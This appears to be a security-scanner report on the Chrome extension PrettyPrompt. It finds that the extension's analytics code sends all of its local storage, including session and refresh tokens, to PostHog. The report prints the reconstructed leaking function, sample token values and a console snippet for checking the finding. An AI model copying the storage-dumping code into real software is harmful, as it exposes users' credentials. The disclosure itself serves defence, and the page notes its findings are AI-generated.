Is PrettyPrompt safe?

Medium risk

PrettyPrompt is medium risk. Every analytics event PrettyPrompt fires, about 60 types, sends the extension's entire local storage to PostHog: your session token, refresh token, and full Supabase session, usable to sign in as you. Its sensitive-key filter is empty.

charliemday31v1.39.0Chrome Web Store
45Risk
Who publishes it

charliemday31 - no other listings under this identity, 3 shared hostnames

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
charliemday31

Shared hosts - 3 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

platform.straico.com
Also called by 3 other listings, including AI Chat & Writing Assistant by Wandpen
typingmind.com
Also called by 3 other listings, including MemoryPlugin - Long-Term Memory for AI Chats
maxai.co
Also called by 5 other listings, including MaxAI, WebChatGPT, WebChatGPT: ChatGPT with internet access

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

PostHog events include full extension storage with auth tokens

MediumunwantedCWE-522Dynamic sandbox

Every analytics event PrettyPrompt fires, about 60 types, sends the extension's entire local storage to PostHog: your session token, refresh token, and full Supabase session, usable to sign in as you.

What actually happens

You did this

You use PrettyPrompt normally, opening the popup, improving a prompt, or signing in.

Any of roughly 60 tracked event types (sign_in, prompt_improved, popup_opened, refresh_token_auto_refresh, etc.) triggers the analytics wrapper.

The extension did this

The extension reads every key in its local storage and includes them all in the analytics POST body.

chrome.storage.local.get(null) returns the full store. A denylist filter is applied, but the denylist Lh is empty, so no keys are excluded.

The code that does this

Mh(), the PostHog event function that dumps full storage

Readable version
Mh = async (eventName, extraProps = {}) => {  const distinctId = await Bi();                         // resolved user ID  const storageAll = await chrome.storage.local.get(null); // every stored key  const filtered = Object.fromEntries(    Object.entries(storageAll).filter(([k]) => !Lh.includes(k)) // Lh = []  );  const body = {    api_key: Ki,                 // 'phc_PLcw3jNW68RxGzF2qCOATKqNtV1mdV97WVjjnvmpbeF'    event: eventName,    distinct_id: distinctId || await Nl(),    properties: {      ...extraProps,      ...filtered,               // sbSession, token, refreshToken, email all land here      extensionVersion: chrome.runtime.getManifest().version,      $process_person_profile: !!distinctId,      $lib: 'chrome_extension'    },    timestamp: new Date().toISOString()  };  await fetch('https://us.i.posthog.com/i/v0/e/', {    method: 'POST',    headers: { 'Content-Type': 'application/json' },    body: JSON.stringify(body)  });};// Denylist — line 5220:const Lh = [];  // empty — nothing is excluded

Credential keys present in chrome.storage.local that are included in every POST

  • PrettyPrompt access token
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI4ZmE3YzFkMi0zNGE4LTQ2MDEtOWViMC1hYzI2ZDk4YzE2NTUiLCJlbWFpbCI6InVzZXJAZXhhbXBsZS5jb20iLCJpYXQiOjE3NDgwMDAwMDAsImV4cCI6MTc0ODM2MDAwMH0.abc123

    A Supabase JWT that authenticates you on PrettyPrompt's API. Included as the value of the 'token' key.

  • Supabase session object
    {"access_token":"eyJhb...","refresh_token":"v1:abc123","expires_at":1748360000,"user":{"id":"8fa7c1d2-34a8-4601-9eb0-ac26d98c1655","email":"user@example.com"}}

    The full session JSON, including access token, refresh token, expiry, and user profile. Included as the value of the 'sbSession' key.

  • Refresh token
    v1:Rjd8KmNqXsY2Lp5oQtAzWbVeHcFuImNd3P9gXrEk

    Used to obtain new access tokens without re-authentication. Included under the 'refreshToken' key.

  • Account email
    user@example.com

    Your PrettyPrompt account email address. Included under the 'email' key when set.

Where the combined analytics + credential payload is sent

    • us.i.posthog.com

    PostHog US cloud analytics ingest endpoint. Receives the full POST body including the storage dump. PostHog is a third-party product analytics platform.

Reproduce it yourself

Browser console snippet that reads the extension's chrome.storage.local directly and shows which credential keys are present, confirming what would be included in a PostHog POST body.

Requires
  • Chrome with PrettyPrompt installed
  • Developer mode enabled in chrome://extensions
check_posthog_storage_dump.js · js
// Run in the DevTools console of the extension's service worker// (chrome://extensions → PrettyPrompt → Inspect service worker → Console)(async () => {  const store = await chrome.storage.local.get(null);  const credentialKeys = ['token', 'refreshToken', 'sbSession', 'email'];  const present = credentialKeys.filter(k => store[k] != null);  console.log('Credential keys present in storage:', present);  console.log('token (first 40 chars):', (store.token || '').slice(0, 40));  console.log('refreshToken:', store.refreshToken);  console.log('sbSession (parsed access_token, first 40):', (() => {    try { return JSON.parse(store.sbSession).access_token.slice(0, 40); } catch { return 'not set'; }  })());  console.log('email:', store.email);  console.log('\nAll keys that would be sent to PostHog:', Object.keys(store));})();
How to run it
  1. 1Go to chrome://extensions, enable Developer mode.
  2. 2Click 'Inspect service worker' on the card.
  3. 3In DevTools Console, paste and run the snippet.
  4. 4Output lists every key a PostHog POST includes. Sign in to populate session keys.
Updated 2 November 2026opjebobgkipcdimgofkboimilnchghpd